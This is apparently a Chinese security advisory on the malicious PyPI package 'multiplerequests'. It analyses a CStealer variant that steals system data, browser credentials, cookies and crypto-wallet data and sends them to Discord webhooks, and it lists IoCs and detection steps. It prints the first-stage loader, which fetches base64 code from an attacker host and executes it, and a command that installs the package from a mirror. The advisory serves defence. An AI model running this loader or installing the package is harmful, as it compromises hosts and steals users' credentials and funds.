供应链投毒预警:恶意Py包伪装HTTP组件开展CStealer窃密后门攻击

315 阅读5分钟

概述

近日(2024年4月25号),悬镜供应链安全情报中心在Pypi官方仓库(pypi.org/)中捕获1起CStea…

 

截至目前,恶意Py包multiplerequests在pypi官方仓库上被下载435次。

 

pypi仓库恶意包multiplerequests下载量

该恶意Py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装,因此潜在的受害者数量可能会更多。

清华镜像源

 

以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。

pip3 install multiplerequests -i  pypi.tuna.tsinghua.edu.cn/simple 

 

由于该恶意Py包只针对Windows系统,测试环境使用Linux系统,导致恶意包安装过程中触发恶意代码时触发非预期的Windows系统路径(~\AppData\Roaming/frvezdffvvcode.py) 的文件写入操作。

 

投毒分析

以multiplerequests恶意包2.31.0版本为例,当Python开发者使用pip install从Pypi官方仓库或下游镜像源直接安装或依赖引用恶意组件包时,将自动触发执行Python安装包setup.py中经过base64编码的恶意代码。

 

恶意代码base64解码后如下所示,第一阶段恶意代码进一步从投毒者服务器上(frvezdffvv.pythonanywhere.com/getpackage)…

 

 

from urllib import request

package_url = "frvezdffvv.pythonanywhere.com/getpackage"

package_name = request.urlopen(package_url).read()

exec(base64.b64decode(package_name))

 

 

第二阶段恶意代码同样经过base64编码,如下所示:

第二阶段恶意代码(base64编码)

 

Base64解码后还原出真实的第二阶段恶意代码,如下所示:

第二阶段真实恶意代码 经代码分析后确认该恶意代码是github开源CStleaer后门项目的变种版本(github.com/can-kat/cst…

 

CStealer窃密后门项目

 

该恶意代码主要包括以下功能:

  1. 收集系统敏感信息

  2. 收集浏览器隐私数据

  3. 收集数字钱包应用数据

4. 系统屏幕截屏

  1. 开机自启动

 

收集系统敏感信息

通过python内置platform和socket模块获取操作系统版本、处理器、网卡MAC、网络IP地址、主机名等敏感信息,并将数据外传到投毒者webhook接口(discord.com/api/webhook…

 

系统信息收集功能

 

收集浏览器隐私数据

针对基于chromium内核的主流浏览器(chrome、opera、edge、torch、yandex、epic等)进行用户隐私数据收集,包括cookie、登录凭证、浏览历史数据、下载记录等。

 

 

浏览器用户隐私数据收集功能

 

浏览器数据收集后,会被压缩打包发送到投毒者webhook接口:

 

浏览器隐私数据外传功能

 

收集数字钱包应用数据

针对主流数字钱包(Atomic Wallet、Binance、Electrum等)的应用数据进行压缩打包后,利用curl将钱包数据外传到投毒者服务器(store1.gofile.io/uploadFile)…

 

数字钱包及其应用数据路径

![](https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/fe34f8e0c00841399fbe69b6faf9515f~tplv-k3u1fbpfcp-jj-mark:0:0:0:0:q75.image#?w=1074&h=188&s=30906&e=png&b=303841)

数字钱包应用数据外传接口

 

系统屏幕截屏

首先从攻击者服务器(frvezdffvv.pythonanywhere.com/getmss)下载py… mss模块安装包(mss.zip)到目标系统中,并对安装包进行解压。

 

远程下载python mss屏幕截屏模块

 

python mss是个基于ctypes实现的跨平台屏幕截屏模块,项目源码托管在github上(github.com/BoboTiG/pyt…)。

 

Python MSS开源项目

 

如下所示,恶意代码利用python-mss模块获取受害者系统的屏幕截屏后,将截屏数据发送到投毒者webhook接口上。

 

系统屏幕截屏及数据回传

 

开机自启动

该CStealer后门还会将自身恶意代码拷贝到Windows系统启动目录,尝试通过开机自启动实现投毒持久化。

 

恶意后门写入Windows系统自启动目录

 

IoC数据

此次投毒组件包涉及以下IoC数据:

IoC****~~~~类型****~~~~SHA 256****~~~~
~~multiplerequests-2.31.0/setup~~~~.py~~~~~~~~文件~~~~~~~~e6eb8d5f7d451e8833551337c3b775170071935581059c553fa889f046a81c3f~~~~~~
~~frvezdffvv.pythonanywhere.com/getpackage~~~~~~~~URL~~~~~~~~ ~~
~~discord.com/api/webhook…~~~~~~~~URL~~~~~~~~~~

image.png

排查方式

截至目前,该Python恶意组件包仍可从国内主流Pypi镜像源正常下载安装,国内Python开发者可根据恶意包信息和IoC数据通过以下方式进行快速排查是否安装或引用恶意组件包。

开发者可通过命令pip ****show multiplerequests快速排查是否误安装或引用该恶意py组件包,若命令运行结果如下图所示,则代表系统已被安装该恶意组件,请尽快通过命令p ip uninstall multiplerequests ****-y 进行卸载,同时还需关闭系统网络并排查系统是否存在异常进程。

 此外,开发者也可使用OpenSCA-cli,将受影响的组件包按如下示例保存为db.json文件,直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到投毒包影响。

[

  {

    "product": "multiplerequests",

    "version": "[2.31.0, 2.31.1, 2.31.2, 2.31.3, 2.31.4, 2.31.5]",

    "language": "python",

    "id": "XMIRROR-MAL45-7DF79312",

    "description": "Python恶意组件包multiplerequests开展CStealer窃密后门攻击",

"release_date": "2024-04-25"

}

]

 

悬镜供应链安全情报中心将持续监测全网主流开源软件仓库,对潜在风险的开源组件包进行动态跟踪和溯源,实现快速捕获开源组件投毒攻击事件并第一时间提供精准安全预警。


感谢每一位开源社区成员对OpenSCA的支持和贡献。OpenSCA的代码会在GitHub和Gitee持续迭代,欢迎Star和Fork,也欢迎向我们提交ISSUE和PR,参与我们的开源安全共建计划,与社区成员共同建设充满可能性的开源解决方案。